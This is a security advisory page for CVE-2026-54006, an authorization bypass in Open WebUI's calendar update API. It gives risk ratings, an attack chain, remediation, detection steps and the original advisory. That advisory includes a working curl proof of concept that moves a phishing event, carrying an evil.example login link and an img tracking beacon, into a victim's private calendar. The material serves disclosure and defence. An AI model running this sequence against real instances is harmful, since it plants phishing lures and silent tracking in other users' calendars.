CVE-2026-54006: open-webui: auth bypass allows cross-user calendar injection

GHSA-f3g7-59qc-pqg6 MEDIUM CISA: TRACK*
Published June 17, 2026
CISO Take

Open WebUI's calendar update API validates write access only on the source calendar and ignores the destination `calendar_id` supplied in the request body, letting any authenticated low-privilege user silently inject crafted events—including HTML-formatted phishing lures with image-beacon tracking—directly into another user's private calendar. Though CVSS rates this Medium (4.3), teams running Open WebUI as a self-hosted LLM workspace face a meaningful social engineering risk: injected events appear inside the victim's own private calendar with no external-invite indicator, making them far more credible than email phishing. Open WebUI carries 102 prior CVEs in the same package and a 94th-percentile EPSS rating, signaling this authorization-bypass class gets exploited reliably once PoC details circulate. Upgrade to open-webui 0.9.6 immediately or disable the feature via `ENABLE_CALENDAR=False` as an interim workaround.

Sources: NVD GitHub Advisory EPSS ATLAS

What is the risk?

Medium risk overall, elevated for multi-user enterprise Open WebUI deployments where users have mixed trust levels. Exploitation requires only a valid user-role account and knowledge of the target's calendar UUID, obtainable through any legitimate calendar-sharing or event-attendee workflow. No privilege escalation beyond the initial account is needed. The attack surface is the default configuration with both ENABLE_CALENDAR and USER_PERMISSIONS_FEATURES_CALENDAR defaulting to True. The immediate impact is HTML injection rather than RCE or data exfiltration: DOMPurify strips script execution but permits formatted anchor tags and img beacons, enabling phishing and silent read-receipt tracking at scale. Not a breaking-alert candidate absent confirmed active exploitation.

How does the attack unfold?

Initial Access
Attacker authenticates to the Open WebUI instance using a valid low-privilege user-role account, either their own or a compromised one.
AML.T0012
Reconnaissance
Attacker obtains the target user's calendar UUID via a legitimate read-only calendar share, an event-attendee API payload, or any observable side-channel such as browser logs or screen capture.
AML.T0049
Exploitation
Attacker creates a phishing event in their own calendar (passes source ACL), then immediately calls the update endpoint with the victim's calendar_id in the body; the missing destination ACL check allows unconditional persistence of the new calendar_id.
AML.T0049
Impact
Victim encounters a high-credibility phishing event with embedded malicious links and img-beacon tracking in their own private calendar, enabling credential theft, session hijacking, or user harm with no external-invite warning.
AML.T0048.003

What systems are affected?

Package Ecosystem Vulnerable Range Patched
Open WebUI pip <= 0.9.5 0.9.6
147.6K 4 dependents Pushed 6d ago 81% patched ~6d to patch Full package profile →

Do you use Open WebUI? You're affected.

How severe is it?

CVSS 3.1
4.3 / 10
EPSS
0.2%
chance of exploitation in 30 days
Higher than 11% of all CVEs
Exploitation Status
Exploit Available
Exploitation: MEDIUM
Sophistication
Trivial
Exploitation Confidence
medium
CISA SSVC: Public PoC
Composite signal derived from CISA KEV, VulnCheck KEV, CISA SSVC, EPSS, Metasploit, Exploit-DB, trickest/cve, Nuclei templates, and inthewild.io exploitation reports.

What is the attack surface?

AV AC PR UI S C I A
AV Network
AC Low
PR Low
UI None
S Unchanged
C None
I Low
A None

What should I do?

4 steps
  1. Patch: Upgrade open-webui to 0.9.6, which adds the missing destination calendar ACL check in the update_event router before persisting the new calendar_id.

  2. Immediate workaround: Set ENABLE_CALENDAR=False or USER_PERMISSIONS_FEATURES_CALENDAR=False in your Open WebUI configuration to disable the calendar subsystem entirely until patching is complete.

  3. Detection: Query your PostgreSQL calendar_events table for rows where the creating user_id does not own the calendar_id column value. Monitor web access logs for POST /api/v1/calendars/events/*/update requests and flag cases where the JSON body calendar_id differs from the event owner's default calendar.

  4. Hardening: Audit existing calendar AccessGrants and revoke unnecessary read permissions to reduce the UUID exposure pathways available to potential attackers.

What does CISA's SSVC say?

Decision Track*
Exploitation poc
Automatable No
Technical Impact partial

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act
Article 9 - Risk management system
ISO 42001
A.6.2 - Information security in AI systems
NIST AI RMF
MANAGE 2.4 - Residual risks are managed and monitored
OWASP LLM Top 10
LLM06 - Excessive Agency

Frequently Asked Questions

What is CVE-2026-54006?

Open WebUI's calendar update API validates write access only on the source calendar and ignores the destination `calendar_id` supplied in the request body, letting any authenticated low-privilege user silently inject crafted events—including HTML-formatted phishing lures with image-beacon tracking—directly into another user's private calendar. Though CVSS rates this Medium (4.3), teams running Open WebUI as a self-hosted LLM workspace face a meaningful social engineering risk: injected events appear inside the victim's own private calendar with no external-invite indicator, making them far more credible than email phishing. Open WebUI carries 102 prior CVEs in the same package and a 94th-percentile EPSS rating, signaling this authorization-bypass class gets exploited reliably once PoC details circulate. Upgrade to open-webui 0.9.6 immediately or disable the feature via `ENABLE_CALENDAR=False` as an interim workaround.

Is CVE-2026-54006 actively exploited?

No confirmed active exploitation of CVE-2026-54006 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-54006?

1. Patch: Upgrade open-webui to 0.9.6, which adds the missing destination calendar ACL check in the update_event router before persisting the new calendar_id. 2. Immediate workaround: Set ENABLE_CALENDAR=False or USER_PERMISSIONS_FEATURES_CALENDAR=False in your Open WebUI configuration to disable the calendar subsystem entirely until patching is complete. 3. Detection: Query your PostgreSQL calendar_events table for rows where the creating user_id does not own the calendar_id column value. Monitor web access logs for POST /api/v1/calendars/events/*/update requests and flag cases where the JSON body calendar_id differs from the event owner's default calendar. 4. Hardening: Audit existing calendar AccessGrants and revoke unnecessary read permissions to reduce the UUID exposure pathways available to potential attackers.

What systems are affected by CVE-2026-54006?

This vulnerability affects the following AI/ML architecture patterns: self-hosted LLM chat interfaces, multi-user AI workspaces, enterprise LLM deployment platforms.

What is the CVSS score for CVE-2026-54006?

CVE-2026-54006 has a CVSS v3.1 base score of 4.3 (MEDIUM). The EPSS exploitation probability is 0.21%.

What is the AI security impact?

Affected AI Architectures

self-hosted LLM chat interfacesmulti-user AI workspacesenterprise LLM deployment platforms

MITRE ATLAS Techniques

AML.T0011.003 Malicious Link
AML.T0012 Valid Accounts
AML.T0048.003 User Harm
AML.T0049 Exploit Public-Facing Application
AML.T0052 Phishing

Compliance Controls Affected

EU AI Act: Article 9
ISO 42001: A.6.2
NIST AI RMF: MANAGE 2.4
OWASP LLM Top 10: LLM06

What are the technical details?

Original Advisory

### Summary `POST /api/v1/calendars/events/{event_id}/update` validates that the caller has **write** access to the calendar the event *currently* belongs to, but does not validate the **destination** `calendar_id` supplied in the request body. The model layer then persists the new `calendar_id` unconditionally. A regular `user`-role account can therefore create an event in their own calendar and immediately move it into any other user's calendar whose ID they know — bypassing the authorization check that `create_event` correctly performs. This is reachable on **default configuration**: `ENABLE_CALENDAR` and `USER_PERMISSIONS_FEATURES_CALENDAR` both default to `True`. ### Details ### Sink — missing destination check `backend/open_webui/routers/calendar.py:283-297` ```python @router.post('/events/{event_id}/update', response_model=CalendarEventModel) async def update_event( request: Request, event_id: str, form_data: CalendarEventUpdateForm, user: UserModel = Depends(get_verified_user) ): await check_calendar_permission(request, user) event = await CalendarEvents.get_event_by_id(event_id) if not event: raise HTTPException(status_code=404, detail='Event not found') await _check_calendar_access(event.calendar_id, user, 'write') # ← SOURCE only updated = await CalendarEvents.update_event_by_id(event_id, form_data) # ← writes form_data.calendar_id ... ``` `backend/open_webui/models/calendar.py:658-693` (`update_event_by_id`) ```python update_data = form_data.model_dump(exclude_unset=True) for field in [ 'calendar_id', # ← destination persisted with no ACL 'title', 'description', 'start_at', 'end_at', 'all_day', 'rrule', 'color', 'location', 'is_cancelled', ]: if field in update_data: setattr(event, field, update_data[field]) ``` ### Reference — `create_event` does check the destination `backend/open_webui/routers/calendar.py:255` ```python await _check_calendar_access(form_data.calendar_id, user, 'write') ``` ### Default-config gates (both `True`) - `backend/open_webui/config.py:1658-1662` — `ENABLE_CALENDAR` defaults `'True'` - `backend/open_webui/config.py:1554` — `USER_PERMISSIONS_FEATURES_CALENDAR` defaults `'True'` - `backend/open_webui/main.py:1457` — router mounted unconditionally ### PoC Verified end-to-end against the official `ghcr.io/open-webui/open-webui:main` (v0.9.4) Docker image with two fresh `user`-role accounts. #### 1. Environment ```bash git clone https://github.com/open-webui/open-webui.git cd open-webui && docker compose up -d # http://localhost:3000 ``` Create the first account (admin), then via admin UI / `POST /api/v1/auths/add` create two `user`-role accounts: **attacker** and **victim**. Sign each in and capture their JWTs as `$ATTACKER_TOKEN` / `$VICTIM_TOKEN`. #### 2. Obtain the victim's `calendar_id` Calendar IDs are UUIDv4 (`models/calendar.py:316`) and not enumerable. In practice an attacker obtains one via: - **Read-only share** — victim (or a group admin) grants the attacker `read` on a calendar; the ID is returned by `GET /api/v1/calendars/`. - **Event invitation** — victim adds the attacker as an attendee on any event; the event payload (`CalendarEventModel`, `models/calendar.py:127`) includes `calendar_id`. - Any side-channel (logs, screenshots, browser history). For reproduction the maintainer can simply read it as the victim: ```bash VICTIM_CALENDAR_ID=$(curl -s "$OPENWEBUI/api/v1/calendars/" \ -H "Authorization: Bearer $VICTIM_TOKEN" | python3 -c 'import sys,json;print(json.load(sys.stdin)[0]["id"])') ``` #### 3. Control — direct create is correctly blocked ```bash curl -s -o /dev/null -w '%{http_code}\n' \ -X POST "$OPENWEBUI/api/v1/calendars/events/create" \ -H "Authorization: Bearer $ATTACKER_TOKEN" -H 'Content-Type: application/json' \ -d "{\"calendar_id\":\"$VICTIM_CALENDAR_ID\",\"title\":\"x\",\"start_at\":1778400000000000000,\"end_at\":1778403600000000000}" # → 403 ``` #### 4. Exploit — create-then-reparent ```bash ATTACKER_CAL=$(curl -s "$OPENWEBUI/api/v1/calendars/" \ -H "Authorization: Bearer $ATTACKER_TOKEN" | python3 -c 'import sys,json;print(json.load(sys.stdin)[0]["id"])') # 1. create in own calendar EVENT_ID=$(curl -s -X POST "$OPENWEBUI/api/v1/calendars/events/create" \ -H "Authorization: Bearer $ATTACKER_TOKEN" -H 'Content-Type: application/json' \ -d "{\"calendar_id\":\"$ATTACKER_CAL\",\"title\":\"[INJECTED] Mandatory re-auth: https://evil.example/login\",\"description\":\"Session expired.\",\"location\":\"<img src=https://evil.example/beacon.png>\",\"start_at\":1778400000000000000,\"end_at\":1778403600000000000}" \ | python3 -c 'import sys,json;print(json.load(sys.stdin)["id"])') # 2. move into victim's calendar — NO destination check curl -s -X POST "$OPENWEBUI/api/v1/calendars/events/$EVENT_ID/update" \ -H "Authorization: Bearer $ATTACKER_TOKEN" -H 'Content-Type: application/json' \ -d "{\"calendar_id\":\"$VICTIM_CALENDAR_ID\"}" # → 200, response shows "calendar_id":"<VICTIM_CALENDAR_ID>" ``` #### 5. Verification from victim's session ```bash curl -s "$OPENWEBUI/api/v1/calendars/events?start=2026-05-01T00:00:00&end=2026-06-01T00:00:00" \ -H "Authorization: Bearer $VICTIM_TOKEN" | python3 -m json.tool ``` Observed output (truncated): ```json [{ "id": "1662c982-adb1-43d6-a9c8-0103fa1299c0", "calendar_id": "0b755ea7-4ff4-4a60-9cff-8961e69c75bb", "user_id": "7554dd33-e220-44cb-8441-169c55eef4f5", "title": "[INJECTED] Mandatory re-auth: https://evil.example/login", "description": "Session expired.", ... }] ``` The injected event now lives in the victim's default calendar. A subsequent `GET /events/{id}` as the **attacker** returns **403** — confirming the move succeeded and the attacker has no legitimate access to the destination. ### Impact - **Read-only → write escalation** on shared calendars: a user granted `read` via `AccessGrants` can effectively write. - **Phishing / social engineering**: events appear inside the victim's own private calendar (not as an external invite). The hover tooltip (`CalendarEventChip.svelte:12 → common/Tooltip.svelte`) renders `title`/`location` as DOMPurify-sanitised HTML with `allowHTML=true`, so an attacker can embed formatted links and `<img>` beacons (read-receipt when the victim hovers). DOMPurify prevents script execution, so this is HTML injection, not XSS. - **Calendar spam / DoS**: unlimited one-shot injections (attacker loses access to each event after the move, but can repeat with new events).

Exploitation Scenario

An insider or attacker holding a compromised standard user-role account receives a legitimate calendar-share notification from a target colleague, which exposes the target's calendar UUID in the GET /api/v1/calendars/ API response. The attacker crafts a calendar event with a title such as 'Action Required: LLM API Key Rotation' and a location field containing a phishing anchor tag and an img beacon pointing to an attacker-controlled server. They first POST to /api/v1/calendars/events/create with their own calendar_id—which passes the correct ACL check and returns 200 with an event_id. They immediately POST to /api/v1/calendars/events/{event_id}/update with the victim's calendar_id as the body payload. The update endpoint validates only the source calendar write access, persists the destination calendar_id unconditionally, and returns 200. The event now lives in the victim's private calendar. A subsequent GET by the attacker returns 403, confirming a stealthy transfer with no ongoing attacker visibility. The victim encounters the phishing event with no external-invite banner, dramatically increasing click-through likelihood.

Weaknesses (CWE)

CWE-639 — Authorization Bypass Through User-Controlled Key: The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.

  • [Architecture and Design] For each and every data access, ensure that the user has sufficient privilege to access the record that is being requested.
  • [Architecture and Design, Implementation] Make sure that the key that is used in the lookup of a specific user's record is not controllable externally by the user or that any tampering can be detected.

Source: MITRE CWE corpus.

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Timeline

Published
June 17, 2026
Last Modified
June 23, 2026
First Seen
June 17, 2026

Related Vulnerabilities